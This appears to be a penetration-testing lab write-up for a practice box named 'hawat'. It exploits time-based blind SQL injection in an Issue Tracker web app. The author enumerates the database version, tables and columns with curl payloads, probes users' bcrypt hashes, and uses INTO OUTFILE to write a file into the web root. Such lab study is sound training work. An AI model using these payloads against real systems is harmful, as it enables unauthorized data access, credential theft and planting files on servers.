SQL Injection
An SQL injection vulnerability has been identified during the code audit for the source code of the Issue Tracker application running on the target port 17445
. The vulnerability is present at the priority
parameter of the /issue/checkByPriority
endpoint, where the SQL query, SELECT message FROM issue WHERE priority='"+priority+"'
, is made to thee backend MySQL database without any form of input sanitization.
Additionally, it prints out the entire SQL query. and there is a catch statement to print out SQL error message
This would mean that injection query would be reflected(in-band) back to the user
/issue/checkByPriority
Endpoint
Attempting to test out the discovered endpoint results in error 405.
The error message indicates that GET request is not allowed.
The
Allow
header also explicitly shows that it only accepts POST.
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl -I -X OPTIONS http://$IP:17445/issue/checkByPriority -H 'Cookie: JSESSIONID=A134259BAB7F3C9961108326B05054C7'
HTTP/1.1 200
Allow: POST,OPTIONS
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Length: 0
Date: Sat, 08 Mar 2025 17:02:07 GMT
It only supports the POST method This is rather different from the source code as it accepts GET request.
Switching to
POST
works.
However, the functionality is rather questionable
SQLi
Sending the
'
character does not return the SQL query or the SQL error.
This further supports the hypothesis that the extracted source code is outdated and there’s likely been an update
Given there is no error message displayed, I would have to opt out to the time-based blind SQLi
Time-based Blind
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(4) -- //" | grep -i real
real 4.13s
user 0.00s
sys 0.00s
cpu 0%
real 4.13s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT SLEEP(4) -- //
Time-based blind SQLi confirmed
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user() LIKE 'issue_user%',SLEEP(3),null) -- //" | grep -i real
real 3.07s
user 0.01s
sys 0.00s
cpu 0%
real 3.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user() LIKE 'issue_user@localhost%',SLEEP(3),null) -- //" | grep real
real 3.07s
user 0.00s
sys 0.00s
cpu 0%
real 3.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(current_user()='issue_user@localhost',SLEEP(3),null) -- //" | grep real
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT IF(current_user()='issue_user@localhost',SLEEP(3),null) -- //
The current user is issue_user@localhost
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(version() LIKE '10.5.%',SLEEP(3),null) -- //" | grep real
real 3.06s
user 0.00s
sys 0.01s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(version()='10.5.8-MariaDB',SLEEP(3),null) -- //" | grep real
real 3.06s
user 0.01s
sys 0.00s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT IF(version()='10.5.8-MariaDB',SLEEP(3),null) -- //
The version is 10.5.8-MariaDB
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(database() LIKE 'issue_tracker%',SLEEP(3),null) -- //" | grep real
real 3.06s
user 0.01s
sys 0.00s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(database()='issue_tracker',SLEEP(3),null) -- //" | grep real
real 3.09s
user 0.00s
sys 0.00s
cpu 0%
real 3.09s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT IF(database()='issue_tracker',SLEEP(3),null) -- //
The current DB is issue_tracker
Databases
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT IF(schema_name='information_schema',SLEEP(3),NULL) FROM information_schema.schemata -- //" | grep real
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT IF(schema_name='information_schema',SLEEP(3),NULL) FROM information_schema.schemata -- //
The default information_schema
database
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(3) WHERE EXISTS (SELECT NULL FROM information_schema.schemata WHERE schema_name='issue_tracker') -- //" | grep real
real 3.06s
user 0.00s
sys 0.01s
cpu 0%
real 3.06s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT SLEEP(3) WHERE EXISTS (SELECT NULL FROM information_schema.schemata WHERE schema_name='issue_tracker') -- //
Then the current DB, issue_tracker
issue_tracker
Tables
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='issue') -- //" | grep real
real 2.08s
user 0.00s
sys 0.01s
cpu 0%
real 2.08s
user 0.00s
sys 0.00s
cpu 0%
The issue_tracker.issue
table has already been enumerated
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user_role') -- //" | grep real
real 2.07s
user 0.00s
sys 0.01s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user') -- //" | grep real
real 2.07s
user 0.00s
sys 0.01s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.tables WHERE table_schema='issue_tracker' AND table_name='user') -- //
Both user_role
and user
tables within the issue_tracker
DB has been already disclosed
issue_tracker.user_role
Columns
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user_role' AND column_name='user_id') -- //" | grep real
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user_role' AND column_name='role_id') -- //" | grep real
real 2.07s
user 0.01s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
Confirmed user_id
and role_id
columns within the issue_tracker.user_role
issue_tracker.issue
Columns
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='id') -- //" | grep real
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='message') -- //" | grep real
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='issue' AND column_name='priority') -- //" | grep real
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
Checking id
, message
, and priority
columns
issue_tracker.user
Columns
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='user_id') -- //" | grep real
real 2.06s
user 0.00s
sys 0.00s
cpu 0%
real 2.06s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='username') -- //" | grep real
real 2.06s
user 0.00s
sys 0.00s
cpu 0%
real 2.06s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM information_schema.columns WHERE table_schema='issue_tracker' AND table_name='user' AND column_name='password') -- //" | grep real
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
Both issue_tracker.user.username
and issue_tracker.user.password
columns also have been enumerated
Credential Exfiltration
The web application uses bcrypt from org.springframework.security.crypto.bcrypt.BCryptPasswordEncoder
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user WHERE username='clinton') -- //" | grep real
real 2.07s
user 0.01s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user WHERE username='dummy') -- //" | grep real
real 2.07s
user 0.01s
sys 0.00s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
Validating both clinton
and dummy
users
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ time curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user where username='clinton' AND password LIKE '$2%') -- //" | grep real
real 2.07s
user 0.00s
sys 0.01s
cpu 0%
real 2.07s
user 0.00s
sys 0.00s
cpu 0%
' UNION SELECT SLEEP(2) WHERE EXISTS (SELECT NULL FROM issue_tracker.user where username='clinton' AND password LIKE '$2%') -- //
Either the backend MySQL instance or the web app itself is extremely unstable that poses a challenge to brute-forcing each character
Or there might be a security measure in place to counter the brute-force attack, which seems to be getting back to the original state after a few minutes.
File Read
N/A
File Write
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl -X POST -s http://$IP:17445/issue/checkByPriority?priority -b 'JSESSIONID=A134259BAB7F3C9961108326B05054C7' --data-urlencode "priority=' UNION SELECT 'blah' INTO OUTFILE '/srv/html/test.txt' -- //" -s
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Issue Tracker</title>
<link href="/css/bootstrap.min.css" rel="stylesheet" />
</head>
<body>
<section>
<div class="container mt-4">
<div>
<div>
<div style="float:left">
<a href="/user/list" class="btn btn-primary">Users</a>
<a href="/issue/list" class="btn btn-primary">Issues</a>
</div>
<div style="float:right">
<form action="/logout" method="post">
<input type="submit" value="Sign Out" class="btn btn-primary"/>
</form>
</div>
</div>
</div>
<div style="clear:both;height:5px;"></div>
<a href="/issue/add" class="btn btn-primary">New Issue</a>
<br><br>
<table class="table">
<thead>
<tr>
<th>ID</th>
<th>Message</th>
<th>Priority</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Apple Update Failed in my Macbook. Booted in brick mode.</td>
<td>Unbreak</td>
<td>
<a href="/issue/edit/1" class="btn btn-warning">Edit</a>
<a onclick="confirmDelete('/issue',1)" class="btn btn-danger">Delete</a>
</td>
</tr>
<tr>
<td>2</td>
<td>Windows 10 keeps telling me to update, why?</td>
<td>Normal</td>
<td>
<a href="/issue/edit/2" class="btn btn-warning">Edit</a>
<a onclick="confirmDelete('/issue',2)" class="btn btn-danger">Delete</a>
</td>
</tr>
<tr>
<td>3</td>
<td>Is allowed to use torrent sites in the corporate network?</td>
<td>Normal</td>
<td>
<a href="/issue/edit/3" class="btn btn-warning">Edit</a>
<a onclick="confirmDelete('/issue',3)" class="btn btn-danger">Delete</a>
</td>
</tr>
</tbody>
</table>
</div>
</section>
<script src="/js/jquery-3.4.1.js"></script>
<script src="/js/sweetalert.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
<script src="/js/main.js"></script>
</body>
</html>
' UNION SELECT 'blah' INTO OUTFILE '/srv/html/test.txt' -- //
Writing the test.txt
file to the /srv/http
directory.
This directory is the root directory of the web application running on the target port 30455
and was exposed via the phpinfo.php
file
┌──(kali㉿kali)-[~/PEN-200/PG_PRACTICE/hawat]
└─$ curl http://$IP:30455/test.txt
blah
Confirmed Moving on to the Exploitation phase